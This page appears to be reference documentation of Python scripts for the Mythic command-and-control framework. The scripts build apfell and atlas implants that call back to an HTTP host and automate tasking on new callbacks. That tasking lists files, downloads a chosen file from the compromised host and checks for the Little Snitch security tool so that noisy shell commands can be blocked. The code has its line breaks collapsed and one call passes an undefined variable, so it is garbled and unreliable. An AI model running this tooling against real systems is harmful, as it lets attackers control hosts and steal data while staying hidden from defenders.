This is a small repository of sample code doing common scripting actions to serve as a reference for operators and developers.
This page assumes that every script has the same following basic outline and will only reference the main script driver (the scripting
function) and any additional functions created to help support the desired outcome:
from mythic import *from sys import exitfrom os import system​​async def scripting():# sample login# we'll always include this function​# everything below here is expected as a staple at the end of your program# this launches the functions asynchronously and keeps the program running while long-running tasks are goingasync def main():await scripting()try:while True:pending = asyncio.Task.all_tasks()plist = []for p in pending:if p._coro.__name__ != "main" and p._state == "PENDING":plist.append(p)if len(plist) == 0:exit(0)else:await asyncio.gather(*plist)except KeyboardInterrupt:pending = asyncio.Task.all_tasks()for t in pending:t.cancel()​loop = asyncio.get_event_loop()loop.run_until_complete(main())​
async def scripting():# sample loginmythic = Mythic(username="mythic_admin",password="mythic_password",server_ip="192.168.205.151",server_port="7443",ssl=True,global_timeout=-1,)print("[+] Logging into Mythic")await mythic.login()me = await mythic.get_self()await json_print(me) # information about usmy_op = await mythic.get_current_operation_info()await json_print(my_op) # information about our current operation
async def scripting():# sample loginmythic = Mythic(username="mythic_admin",password="mythic_password",server_ip="192.168.205.151",server_port="7443",ssl=True,global_timeout=-1,)print("[+] Logging into Mythic")await mythic.login()await mythic.set_or_create_apitoken()# define what our payload should bep = Payload(# what payload type is itpayload_type="apfell",# define non-default c2 profile variablesc2_profiles={"HTTP":[{"name": "callback_host", "value": "http://192.168.205.151"},{"name": "callback_interval", "value": 4}]},# give our payload a description if we wanttag="test build",# if we want to only include specific commands, put them here:#commands=["cmd1", "cmd2", "cmd3"],# what do we want the payload to be calledfilename="scripted_apfell.js")print("[+] Creating new apfell payload")# create the payload and include all commands# if we define commands in the payload definition, then remove the all_commands=True pieceresp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)print("[*] Downloading apfell payload")# payload_contents is now the raw bytes of the payloadpayload_contents = await mythic.download_payload(resp.response)with open("my_output", "wb") as f:f.write(payload_contents) # write out to disk
async def scripting():# sample loginmythic = Mythic(username="mythic_admin",password="mythic_password",server_ip="192.168.205.151",server_port="7443",ssl=True,global_timeout=-1,)print("[+] Logging into Mythic")await mythic.login()await mythic.set_or_create_apitoken()p = Payload(payload_type="atlas",c2_profiles={"HTTP":[{"name": "callback_host", "value": "http://192.168.205.151"},{"name": "callback_interval", "value": 4}]},build_parameters=[{"name": "version", "value": 4.0},{"name": "output_type", "value": "WinExe"}],tag=".NET EXE",filename="atlas.exe")resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)payload_contents = await mythic.download_payload(resp.response)
async def scripting():# sample loginmythic = Mythic(username="mythic_admin",password="mythic_password",server_ip="192.168.205.151",server_port="7443",ssl=True,global_timeout=-1,)print("[+] Logging into Mythic")await mythic.login()await mythic.set_or_create_apitoken()# define our operatornew_operator = Operator(username="new_operator", password="password123")# create themnew_operator_resp = await mythic.create_operator(honeycrisp)# reference our operationoperation = Operation(name="Operation Chimera")# add the user to our operationawait mythic.add_or_update_operator_for_operation(operation=operation, operator=new_operator_resp.response)
This script waits for new callbacks, then executes a function which:
Issues the ls
command, parses that output for specific files and if they exist, downloads them
Issues the list_apps
function and searches for dangerous processes. If one is found, gets/creates a new blocked command list and applies it to the operators
async def scripting():# sample loginmythic = Mythic(username="mythic_admin",password="mythic_password",server_ip="192.168.205.151",server_port="7443",ssl=True,global_timeout=-1,)print("[+] Logging into Mythic")await mythic.login()await mythic.set_or_create_apitoken()# define a function to execute on new callbackawait mythic.listen_for_new_callbacks(analyze_callback)async def analyze_callback(mythic, callback):# function gets an intance of mythic and the callback objecttry:# create a new task to execute on this callbacktask = Task(callback=callback, command="ls", params=".")print("[+] got new callback, issuing ls")submit = await mythic.create_task(task, return_on="completed")print("[*] waiting for ls results...")# wait up to 20s for the task to finish and get all the responses from itresults = await mythic.gather_task_responses(submit.response.id, timeout=20)# results is now an array of responsesfolder = json.loads(results[0].response)print("[*] going through results looking for interesting files...")for f in folder["files"]:if f["name"] == "apfellserver":task = Task(callback=callback, command="download", params="apfellserver")print("[+] found an interesting file, tasking it for download")await mythic.create_task(task, return_on="submitted")task = Task(callback=callback, command="list_apps")print("[+] tasking callback to list running applications")# return_on="submitted" means don't wait for responseslist_apps_submit = await mythic.create_task(task, return_on="submitted")print("[*] waiting for list_apps results...")# instead, we'll manually gather tasks until the task is completed or errors outresults = await mythic.gather_task_responses(list_apps_submit.response.id)# gather responses returns an array of responsesapps = json.loads(results[0].response)print("[*] going through results looking for dangerous processes...")for a in apps:if "Little Snitch Agent" in a["name"]:list_apps_submit.response.comment = "Auto processed, created alert on Little Snitch Agent, updating block lists"await mythic.set_comment_on_task(list_apps_submit.response)print("[+] found a dangerous process! Little Snitch Agent - sending alert to operators")await mythic.create_event_message(message=EventMessage(message="LITTLE SNITCH DETECTED on {}".format(callback.host), level='warning'))resp = await mythic.get_all_disabled_commands_profiles()print("[+] Getting/creating disabled command profile to prevent bad-opsec commands based on dangerous processes")snitchy_block_list_exists = Falsefor cur_dcp in resp.response:if cur_dcp.name == "snitchy block list":snitchy_block_list_exists = Truedcp = cur_dcpif not snitchy_block_list_exists:dcp = DisabledCommandsProfile(name="snitchy block list", payload_types=[PayloadType(ptype="apfell", commands=["shell", "shell_elevated"]),PayloadType(ptype="poseidon", commands=["shell"])])resp = await mythic.create_disabled_commands_profile(dcp)current_operation = (await mythic.get_current_operation_info()).responsefor member in current_operation.members:print("[*] updating block list for {}".format(member.username))resp = await mythic.update_disabled_commands_profile_for_operator(profile=dcp, operator=member, operation=current_operation)​except Exception as e:print(str(e))
async def scripting():# sample loginmythic = Mythic(username="mythic_admin",password="mythic_password",server_ip="192.168.205.151",server_port="7443",ssl=True,global_timeout=-1,)print("[+] Logging into Mythic")await mythic.login()await mythic.set_or_create_apitoken()await mythic.create_event_message(message=EventMessage(message="DANGER, WILL ROBINSON", level='warning'))